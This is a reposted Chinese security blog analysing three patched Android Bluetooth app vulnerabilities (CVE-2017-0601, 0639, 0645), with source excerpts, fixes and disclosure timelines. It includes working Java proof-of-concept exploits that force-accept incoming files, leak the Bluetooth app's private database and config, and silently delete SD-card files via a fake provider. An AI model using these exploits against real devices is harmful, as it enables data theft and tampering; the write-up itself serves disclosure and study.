Tasfa's World!

Try to Debug your heart!

0%

蓝牙App系列漏洞原理分析与漏洞利用

作者: heeeeen

本文系转载,目的是学习,如有侵权,请联系删除

转载出处:http://www.ms509.com/

蓝牙App漏洞系列分析之一CVE-2017-0601

0x01 概要

2017年5月的Android安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意App绕过用户交互,使用户强制接收外部传入的蓝牙文件。漏洞概要如下:

CVE: CVE-2017-0601
BugID: A-35258579
严重性: 中
影响的Google设备: All
Updated AOSP versions: 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

蓝牙App暴露了一个广播接收器com.android.bluetooth.opp.BluetoothOppReceiver,本地普通App可以向这个Receiver发送广播,查看其OnReceive方法,包含了对多种传入广播Intent Action的处理,但是大多数Intent Action处于保护状态,简单用adb shell可以一一对其测试,比如

adb shell am broadcast -a android.btopp.intent.action.OPEN

提示如下错误,说明action处于保护状态

1
2
3
4
5
6
7
8
9
10
11
Broadcasting: Intent { act=android.btopp.intent.action.OPEN }
java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000
at android.os.Parcel.readException(Parcel.java:1683)
at android.os.Parcel.readException(Parcel.java:1636)
at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507)
at com.android.commands.am.Am.sendBroadcast(Am.java:772)
at com.android.commands.am.Am.onRun(Am.java:404)
at com.android.internal.os.BaseCommand.run(BaseCommand.java:51)
at com.android.commands.am.Am.main(Am.java:121)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)

但是android.btopp.intent.action.ACCEPT这个Intent Action,却没有保护

adb shell am broadcast -a android.btopp.intent.action.ACCEPT

Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }
Broadcast completed: result=0

进一步分析AOSP代码,发现传入这个Action的Intent时,会将Intent携带Uri指向的db进行更新,更新为用户确认状态。

1
2
3
4
5
6
7
else if (action.equals(Constants.ACTION_ACCEPT)) {
if (V) Log.v(TAG, "Receiver ACTION_ACCEPT");
Uri uri = intent.getData();
ContentValues values = new ContentValues();
values.put(BluetoothShare.USER_CONFIRMATION, BluetoothShare.USER_CONFIRMATION_CONFIRMED);
context.getContentResolver().update(uri, values, null, null);
cancelNotification(context, uri);

这个db其实就是蓝牙文件共享的provider,对应的uri为content://con.android.bluetooth.opp/btopp,当通过蓝牙共享接收、发送文件时,该数据库都会增加新的条目,记录接收、发送的状态。该provider记录的信息可以参考BluetoothShare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Exposes constants used to interact with the Bluetooth Share manager's content
* provider.
* @hide
*/
public final class BluetoothShare implements BaseColumns {
private BluetoothShare() {
}
/**
* The permission to access the Bluetooth Share Manager
*/
public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE";
/**
* The content:// URI for the data table in the provider
*/
public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");

因此,如果我们在Intent中传入某个蓝牙共享对应文件的uri,那么它在蓝牙文件共享Provider中的状态就会被更改为用户确认状态。这里继续进行猜想,进一步,如果我们刚好通过蓝牙传入某个文件,将其状态改为用户确认,是否文件就无需确认,自动接收了呢?幸运的是,的确如此。

0x03 漏洞利用

这里还有一个问题要解决,content://com.android.bluetooth.opp/btopp只是整个provider的uri,我们如何知道刚刚通过蓝牙传入文件的uri呢?通过暴力穷举,下面的PoC简单地解决了这个问题,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class MainActivity extends AppCompatActivity {
Button m_btnAccept = null;
public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnAccept = (Button)findViewById(R.id.accept);
m_btnAccept.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
});
}
}

0x04 测试方法

通过蓝牙向测试手机发送文件,此时,手机将会出现提示,要用户拒绝或者接受,这个对话框将会出现约1分钟

Bluetooth Transfer PendingBluetooth Transfer Pending

此时运行POC,文件将会自动接收,因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行,那么手机将会被强制接收任意蓝牙传入的文件。

0x05 修复

Google在Framework的AndroidManifest文件中,将android.btopp.intent.action.ACCEPT和DELINE设为保护状态,普通App无法发出携带这些action的Intent

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml
index ec712bb..011884c 100644
--- a/core/res/AndroidManifest.xml
+++ b/core/res/AndroidManifest.xml
@@ -199,6 +199,8 @@
<protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />
<protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />
<protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
+ <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" />
+ <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />
<protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />

0x06 时间线

2017.02.09——提交Google
2017.03.01——漏洞确认
2017.05.01——补丁发布
2017.05.04——漏洞公开

蓝牙App漏洞系列分析之二CVE-2017-0639

0x01 漏洞简介

Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。

漏洞信息如下:

CVE: CVE-2017-0639
BugID: A-35310991
严重性: 高危
漏洞类型: 信息泄露
Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞缘起

在发现这个漏洞之前,我浏览了Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:

CVE-2017-0420: AOSP邮件中的信息泄露漏洞
CVE-2017-0414: AOSP短信中的信息泄露漏洞

查看这两个信息漏洞的补丁注释,分别为

Don’t allow file attachment from /data through GET_CONTENT
Thirdparty can
attach private files from “/data/data/com.android.messaging/“
directory to the messaging app。

涵义非常清晰,似乎邮件和短信App均遗漏了对发送的文件进行验证,本地攻击者可以添加App私有目录的数据文件发送出去,从而破坏了Android沙箱所提供的应用数据相互隔离的安全防护功能。

这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?

0x03 攻击面——蓝牙的信息分享

除了短信、邮件,很容易想到蓝牙也是Android一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙App暴露的BluetoothOppLauncherActivity所实现。该Activity根据传入的Intent.ACTION_SEND或
Intent.ACTION_SEND_MULTIPLE,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/*
* Other application is trying to share a file via Bluetooth,
* probably Pictures, videos, or vCards. The Intent should contain
* an EXTRA_STREAM with the data to attach.
*/
if (action.equals(Intent.ACTION_SEND)) {
// TODO: handle type == null case
final String type = intent.getType();
final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
// If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
// uri data;
// If we get ACTION_SEND intent without EXTRA_STREAM, but with
// EXTRA_TEXT, we will try send this TEXT out; Currently in
// Browser, share one link goes to this case;
if (stream != null && type != null) {
if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
+ type);
// Save type/stream, will be used when adding transfer
// session to DB.
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(type,stream.toString(), false);
//Done getting file info..Launch device picker and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
return;
} else {
Log.w(TAG,"Error trying to do set text...File not created!");
finish();
return;
}
} else {
Log.e(TAG, "type is null; or sending file URI is null");
finish();
return;
}
} else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
final String mimeType = intent.getType();
final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
if (mimeType != null && uris != null) {
if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
+ mimeType);
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(mimeType,uris, false);
//Done getting file info..Launch device picker
//and finish this activity
launchDevicePicker();
finish();
}
});
t.start();

那么,传入蓝牙App私有数据试试!先寻找bluetooth所拥有的私有文件,

angler:/ # find /data -user bluetooth -exec ls -al {} ; 2> /dev/null

可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.db和file:///data/misc/bluedroid/bt_config.conf

很快可以写出PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnSendPriv = (Button)findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
}
}

0x04 进一步分析

真的那么简单吗?编译PoC,运行却抛出了安全异常!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)

原来触发了FileUriExposed错误,出于安全考虑,Android SDK 23以上就不能在Intent中传递file:// Uri,见官方说明:

对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。

似乎宣判了死刑!心有不甘,继续分析BluetoothOppLauncherActivity后面的文件处理流程,调用链为saveSendingFileInfo–> generateFileInfo,查看generateFileInfo函数,我们发现其实是支持传入file:// URI的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
String type) {
ContentResolver contentResolver = context.getContentResolver();
String scheme = uri.getScheme();
String fileName = null;
String contentType;
long length = 0;
// Support all Uri with "content" scheme
// This will allow more 3rd party applications to share files via
// bluetooth
if ("content".equals(scheme)) {
contentType = contentResolver.getType(uri);
Cursor metadataCursor;
try {
metadataCursor = contentResolver.query(uri, new String[] {
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
}, null, null, null);
} catch (SQLiteException e) {
// some content providers don't support the DISPLAY_NAME or SIZE columns
metadataCursor = null;
} catch (SecurityException e) {
Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
return SEND_FILE_INFO_ERROR;
}
if (metadataCursor != null) {
try {
if (metadataCursor.moveToFirst()) {
fileName = metadataCursor.getString(
metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
length = metadataCursor.getLong(
metadataCursor.getColumnIndex(OpenableColumns.SIZE));
if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
}
} finally {
metadataCursor.close();
}
}
if (fileName == null) {
// use last segment of URI if DISPLAY_NAME query fails
fileName = uri.getLastPathSegment();
}
} else if ("file".equals(scheme)) { // Notice!!!
fileName = uri.getLastPathSegment();
contentType = type;
File f = new File(uri.getPath());
length = f.length();
} else {
// currently don't accept other scheme
return SEND_FILE_INFO_ERROR;

进一步查阅相关资料发现,原来FileUriExposed错误只是SDK引入的一项安全机制,仅仅是为了防止Intent的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要Intent的接收方BluetoothOppLauncherActivity访问其自己的私有文件,而且查看上述代码,既有对file:// URI的支持,也缺乏对文件是否属于私有目录的验证,Why not?

既然是SDK 23以后引入的安全机制,那么我们把build.gradle中的targetSdkVersion从原先的25改为23,重新编译运行,就可以将Bluetooth App的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了Android沙箱的应用间数据隔离机制。至此,大功告成!
success

0x05 时间线

2017.02.13: 提交Google
2017.03.01: 漏洞确认,初始评级为高
2017.06.05: 补丁发布
2017.06.12: 漏洞公开

蓝牙App漏洞系列分析之三CVE-2017-0645

0x01 漏洞简介

Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一个仿冒的 Provider ,并获取 Provider 所指向文件的读写权限,可用于写 SD 卡或者蓝牙共享数据库,漏洞详情如下:

CVE: CVE-2017-0645
BugID: A-35310991
严重性: 中危
漏洞类型: 提权
Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

该漏洞其实是一个常规的 Android 组件暴露漏洞,跟我们上一个分析的蓝牙漏洞一样,我们知道在蓝牙 App 中 BluetoothOppLauncherActivity 是可以被第三方应用启动的。这一次,我们来看 onCreate 函数中传入 Intent action 为 android.btopp.intent.action.OPEN 的处理流程。

1
2
3
4
5
6
7
8
9
10
11
else if (action.equals(Constants.ACTION_OPEN)) {
Uri uri = getIntent().getData();
if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);

Intent intent1 = new Intent();
intent1.setAction(action);
intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
intent1.setDataAndNormalize(uri);
this.sendBroadcast(intent1);
finish();
}

转到 BluetoothOppReceiver 进行处理。接着查看 BluetoothOppReceiver 的 onReceive 函数,由于Intent 可控,这里蓝牙 App 将会取出 intent 中的 Data 进行数据库查询,然后取出 transInfo ,最后进入 BluetoothOppUtility.openReceivedFile 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
} else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
if (V) {
if (action.equals(Constants.ACTION_OPEN)) {
Log.v(TAG, "Receiver open for " + intent.getData());
} else {
Log.v(TAG, "Receiver list for " + intent.getData());
}
}

BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
Uri uri = intent.getData(); //Intent可控!
transInfo = BluetoothOppUtility.queryRecord(context, uri);
if (transInfo == null) {
Log.e(TAG, "Error: Can not get data from db");
return;
}

if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
&& BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
// if received file successfully, open this file
// transInfo可控!
BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
transInfo.mFileType, transInfo.mTimeStamp, uri);
BluetoothOppUtility.updateVisibilityToHidden(context, uri);
} else {
Intent in = new Intent(context, BluetoothOppTransferActivity.class);
in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
in.setDataAndNormalize(uri);
context.startActivity(in);
}

在 openReceivedFile 函数中,我们看到蓝牙 App 最终将在授予读写权限后,启动能够处理 transInfo.mFileType 文件类型的某外部 App 的 Activity ,对 transInfo.mFileName 进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

public static void openReceivedFile(Context context, String fileName, String mimetype,
Long timeStamp, Uri uri) {
if (fileName == null || mimetype == null) {
Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
return;
}

File f = new File(fileName); //fileName可控
if (!f.exists()) {
...
// skip
}

// path受限于com.google.android.bluetooth.fileprovider使用的位置

Uri path = FileProvider.getUriForFile(context,
"com.google.android.bluetooth.fileprovider", f);

// If there is no scheme, then it must be a file
if (path.getScheme() == null) {
path = Uri.fromFile(new File(fileName));
}

if (isRecognizedFileType(context, path, mimetype)) {
Intent activityIntent = new Intent(Intent.ACTION_VIEW);
activityIntent.setDataAndTypeAndNormalize(path, mimetype);

List<ResolveInfo> resInfoList = context.getPackageManager()
.queryIntentActivities(activityIntent,
PackageManager.MATCH_DEFAULT_ONLY);

// 注意这段,授予任何app对该文件的读写权限
// Grant permissions for any app that can handle a file to access it
for (ResolveInfo resolveInfo : resInfoList) {
String packageName = resolveInfo.activityInfo.packageName;
context.grantUriPermission(packageName, path,
Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
Intent.FLAG_GRANT_READ_URI_PERMISSION);
}

activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// 授予activity对该文件的读写权限
activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

try {
if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
context.startActivity(activityIntent);

由于 Intent 可控, Intent Data 可控, transInfo 可控,再加上启动的外部 App 被授予了读写权限,因此这里存在漏洞,我们可以伪造一个文件让蓝牙 App 启动某外部 App 打开,同时该外部 App 获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于 com.android.bluetooth.filepovider ,其 file_paths.xml 使用的 external-path ,这意味着我们只能伪造一个外部存储 /sdcard 目录的文件。

0x03 漏洞利用

漏洞利用可如下图所示,这种攻击发送 intent 的过程像极了飞去来器。恶意 App 发送 intent 过后,又回到了自己手中,但却获得了提权。

1.恶意 App 声明能对某种 filetype 进行处理

1
2
3
4
5
6
7
<activity android:name=".FakeViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="xxx/yyy" />
</intent-filter>
</activity>

2.构造一个虚假的 bluetooth share provider——FakeBluetoothOppProvider ,传入 intent data 之中。主要内容可以参考 BluetoothOppProvider ,其 Uri 为

content://fake.bluetooth.provider/btopp/

并expose出来

然后填入内容,指向 /sdcard 中某个已知文件,并传入 Intent data , 启动 BluetoothOppLauncherActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
m_btnTest.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
intent.setAction(Constants.ACTION_OPEN);
intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
startActivity(intent);

}
});

m_btnAddFakeEntry = (Button)findViewById(R.id.add);
m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
ContentValues values = new ContentValues();
values.put(BluetoothShare._ID, 1);
values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
values.put(BluetoothShare.TOTAL_BYTES, 110000);
values.put(BluetoothShare.CURRENT_BYTES,110000);
values.put(BluetoothShare.TIMESTAMP, 111111);
values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
values.put(BluetoothShare.MIMETYPE, "xxx/yyy");

values.put(BluetoothShare.USER_CONFIRMATION, 1);

// when content provider is null, use insert or use update

m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
// m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);

}
});

3.蓝牙 App 取出我们构造的 filename, filetype;
4.蓝牙 App 授予读写权限,然后再启动恶意 App 进行处理;
5.恶意 App 直接删除 /sdcard 中的这个文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class FakeViewActivity extends Activity {
final static String TAG = "Bluz";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Intent intent = getIntent();
String dir = intent.getDataString();
Log.d(TAG, "dir is "+dir);
Uri uri = intent.getData();
ContentResolver cr = getContentResolver();
Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
getContentResolver().delete(uri, null, null);
}
}

在上述整个过程中,恶意 App 并未申请 SD 卡写权限,因此这是一个提权漏洞。

另外还有一种利用方式,是在 Intent 中直接传入蓝牙 BluetoothOppProvider 的 uri ,比如 content://com.android.bluetooth.opp/btopp/1” ,从而获得对蓝牙共享数据库的读写权限。

完整代码请见这里

0x04 漏洞修复

Google 对该漏洞的修复主要有两点:

1.确保 Intent data 始终为 BluetoothOppProvider 的 Uri ,防止仿冒; 2.撤销了授予第三方应用的读写权限,只授予第三方应用某个 Activity 的读权限。

0x05 时间线

2017.02.15: 漏洞提交
2017.03.01: 漏洞确认,初始评级为高
2017.03.23: 漏洞降级为中
2017.06.01: 补丁发布
2017.06.23: 漏洞公开
坚持技术分享,感谢您的支持!